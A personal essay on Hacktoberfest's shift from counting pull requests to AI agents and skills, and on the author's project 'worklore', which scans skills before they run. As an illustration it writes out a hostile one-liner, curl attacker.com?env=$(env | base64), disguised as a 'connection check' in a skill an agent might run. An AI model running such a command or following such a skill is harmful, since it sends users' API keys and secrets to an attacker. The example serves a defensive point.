I have a small drawer of Hacktoberfest T-shirts. Four of them, I think. Every October for years I would carve out a weekend, find a few issues, open my pull requests, and wait for the merges that earned me the shirt. I wore them with real pride. They were proof that I had shown up for open source.
The end of the PR count
This year, Hacktoberfest is not counting pull requests.
The whole thing has moved to hundreds of in-person "Fests" and an online hackathon built around open-source and open-weight AI. Their own wording is what stuck with me: "Instead of counting PRs, you'll write your first skills.md, build your own open-source agent, fine-tune an open-weight model, or go wherever your curiosity takes you." And we all know why. AI made a low-effort pull request trivial to generate, and maintainers drowned in the noise.
So I sat with an uncomfortable thought. The patches I sent for those shirts — an agent writes that kind of code now in a few seconds. If the code was the deliverable, the deliverable just got cheap. What was the T-shirt ever really for?
Walking the terrain, or flying over it
Hacktoberfest's answer is that the thing under the code is still there. The collaboration. The habit of working on something other people actually need. And the learning — we used to learn through writing code, and now agents help us learn, but the learning was always the point, not the typing.
I keep coming back to a picture in my head. Learning a language, or a new repository, used to be a route across hard terrain: mountains, lakes, long detours. The difficulty was the training. It was never about memorizing syntax — it was building a real skill: writing understandable, even beautiful, code in that exact language, with that exact library. You got to know a codebase the way you get to know a landscape — by walking it until it stopped surprising you.
Now we fly over it. "Tell me about this repository." "Fix this error, and that one." We lift off and land near almost any destination, and skip the climb. There used to be a limit to how many routes I could realistically walk in a month — a handful of repos I could get familiar enough with to actually help. Now I can drop into nearly any of them.
It is genuinely freeing. But the climb was not only friction. It was where judgment came from — the sense of whether the destination was even the right one, and whether the fix I landed was correct and not just plausible. Flying gives you reach. It does not hand you the judgment; that still has to come from somewhere. This is not an argument against flying. It is just worth being honest that reach and understanding are not the same thing.
The new bottleneck is trust
Which is where Hacktoberfest's new map gets interesting. The routes now are skills, models, agents. The happy path — you solve a problem, you write it up as a skill (a short set of instructions another agent can follow), you push a repo, and if it is useful, other people's agents pick it up and it spreads. On paper it sounds great: knowledge sharing without the old friction.
Except there are two difficulties on that map that no agent flies over for you.
The first is simply being understood. It is older than code — it is the plain human problem of getting someone to see your idea the way you see it. You write a skill because you solved something real. But will the person who needs it ever realize it applies to their case? And when their agent reads your instructions, will it follow them, or quietly fill the gaps with something you never meant? A skill nobody recognizes as relevant, or that an agent half-invents its way through, helped no one.
The second is safety, and it is the same worry Hacktoberfest is reacting to, seen from the other side. Spam floods maintainers because AI output is cheap to produce and hard to trust. Now flip it around: you find a skill on the internet and your agent is about to run it, with your permissions. Picture one that presents itself as a harmless "connection check" and quietly runs curl attacker.com?env=$(env | base64) — shipping your environment variables, API keys and all, off the machine, while your agent runs it with the same confidence it runs anything else. Is that safe? "It's on GitHub" is not an answer. Unverifiable knowledge coming in and unverifiable code going out are the same trust problem, just flipped around.
The part no agent does for you
Here is the part I only understood in hindsight. I have been building a small project called worklore, and I built it before I had ever framed either of these problems out loud. I just knew the two things that frustrated me most about sharing work. Every README promises the world — the skill does everything short of flying you to the moon — but I could never tell what one actually did, or whether it even fit my case, without a real example in front of me. And once I decided to run it, there was the quieter worry: could I trust a skill I didn't fully understand with my own data, when I didn't know the whole story of what it touched?
So worklore became my small contribution to this new era — an experiment I am building in the open, more than a finished product. To prove a write-up actually worked, I leaned on evidence instead of stars or vibes: a story carries a machine-readable "reproduce this" contract, and its count moves only when a signed-in person's agent runs that contract in their own repo and reports back. And to answer "is it safe," it can x-ray a skill before you run it — a static scan of the skill's own text that pins what it can touch (files, network, secrets, shell) to a capability tier. It is early, and I would rather build it in the open than pretend I have it solved.
I didn't see this coming. But when I read the new Hacktoberfest page, I recognized it immediately. Seems like I built the thing in Hacktoberfest's spirit without actually thinking about it.
Maybe that is the real shift. We stopped counting the artifact — the PR, the patch, the shirt — because the artifact got cheap. What is left to value is what was always underneath: whether we are working on something people need, whether we are learning while we do it, and whether we can share what we learn in a way others can understand and safely use.
If agents let us fly over the terrain, then the work worth doing now is marking the trails and clearing safe places to land — so the next person can tell a real route from a wrong one before they follow it. That is the unglamorous part no agent does for you, and it is the part I care about most.
The T-shirts are still in the drawer. I am not sad about the change. If anything, it finally named the thing I liked about October all along. It was never the count — it was the climb.
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